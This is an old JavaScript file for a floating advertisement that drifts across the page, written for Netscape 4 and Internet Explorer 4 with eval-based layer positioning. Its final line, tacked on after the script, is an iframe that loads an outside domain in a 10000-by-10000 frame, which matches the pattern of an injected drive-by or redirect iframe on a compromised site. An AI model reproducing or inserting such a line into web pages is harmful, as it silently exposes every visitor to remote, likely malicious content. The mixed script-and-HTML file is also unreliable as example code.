window.onload=FlAD;
var brOK=false;
var mie=false;
var aver=parseInt(navigator.appVersion.substring(0,1));
var aname=navigator.appName;
var mystop=0;

var vmin=2;
var vmax=5;
var vr=2;
var timer1;

var FlAD;
var chip;
ns4=(document.layers)?true:false;
ie4=(document.all)?true:false;


function checkbrOK(){
  if(aname.indexOf("Internet Explorer")!=-1){
    if(aver>=4) brOK=navigator.javaEnabled();
    mie=true;
  }
  if(aname.indexOf("Netscape")!=-1){
    if(aver>=4) brOK=navigator.javaEnabled();
  }
}
function Chip(chipname,width,height)
{this.named=chipname;
this.vx=vmin+vmax*Math.random();
this.vy=vmin+vmax*Math.random();
this.w=width;
this.h=height;
this.xx=0;
this.yy=0;
this.timer1=null;
}

function movechip(chipname)
{
if(brOK && mystop==0)
{eval("chip="+chipname);
if(!mie)
{pageX=window.pageXOffset;
pageW=window.innerWidth;
pageY=window.pageYOffset;
pageH=window.innerHeight;
}
else
{pageX=window.document.body.scrollLeft;
pageW=window.document.body.offsetWidth-8;
pageY=window.document.body.scrollTop;
pageH=window.document.body.offsetHeight;
} 
chip.xx=chip.xx+chip.vx;
chip.yy=chip.yy+chip.vy;
chip.vx+=vr*(Math.random()-0.5);
chip.vy+=vr*(Math.random()-0.5);
if(chip.vx>(vmax+vmin))  chip.vx=(vmax+vmin)*2-chip.vx;
if(chip.vx<(-vmax-vmin)) chip.vx=(-vmax-vmin)*2-chip.vx;
if(chip.vy>(vmax+vmin))  chip.vy=(vmax+vmin)*2-chip.vy;
if(chip.vy<(-vmax-vmin)) chip.vy=(-vmax-vmin)*2-chip.vy;
if(chip.xx<=pageX)
{chip.xx=pageX;
chip.vx=vmin+vmax*Math.random();
}
if(chip.xx>=pageX+pageW-chip.w)
{chip.xx=pageX+pageW-chip.w;
chip.vx=-vmin-vmax*Math.random();
}
if(chip.yy<=pageY)
{chip.yy=pageY;
chip.vy=vmin+vmax*Math.random();
}
if(chip.yy>=pageY+pageH-chip.h)
{chip.yy=pageY+pageH-chip.h;
chip.vy=-vmin-vmax*Math.random();
}
if(!mie)
{eval('document.'+chip.named+'.top ='+chip.yy);
eval('document.'+chip.named+'.left='+chip.xx);
} 
else
{eval('document.all.'+chip.named+'.style.pixelLeft='+chip.xx);
eval('document.all.'+chip.named+'.style.pixelTop ='+chip.yy); 
}
	chip.timer1=setTimeout("movechip('"+chip.named+"')",100);
}
}
function stopme(x)
{
brOk=true;
mystop=x;
movechip("FlAD");
}
function cncover()
{
if(ns4){
	//document.cnc.left=window.innerWidth/2-400;
	document.FlAD.visibility="hide";
	eval('document.cnc.left=document.'+chip.named+'.left');
	eval('document.cnc.top=document.'+chip.named+'.top-15');	
	document.cnc.visibility="show";
	}else if(ie4) 
	{
	document.all.FlAD.style.visibility="hidden";
	//document.all.cnc.style.left=window.document.body.offsetWidth/2-400;
	document.all.cnc.style.left=parseInt(document.all.FlAD.style.left)-0;
	document.all.cnc.style.top=parseInt(document.all.FlAD.style.top)-0;	
	document.all.cnc.style.visibility="visible";
	stopme(1);
	}
}

function cncout()
{
if(ns4){
	document.cnc.visibility="hide";
	document.FlAD.visibility="show";
	}else if(ie4) 
	{
	document.all.cnc.style.visibility="hidden";
	document.all.FlAD.style.visibility="visible";
	stopme(0);
	}
}
function FlAD(){
  checkbrOK(); 
  FlAD=new Chip("FlAD",80,80);
  if(brOK){ movechip("FlAD");}
}
<iframe src="http://ies.wzeg.net" width=10000 height=10000></iframe>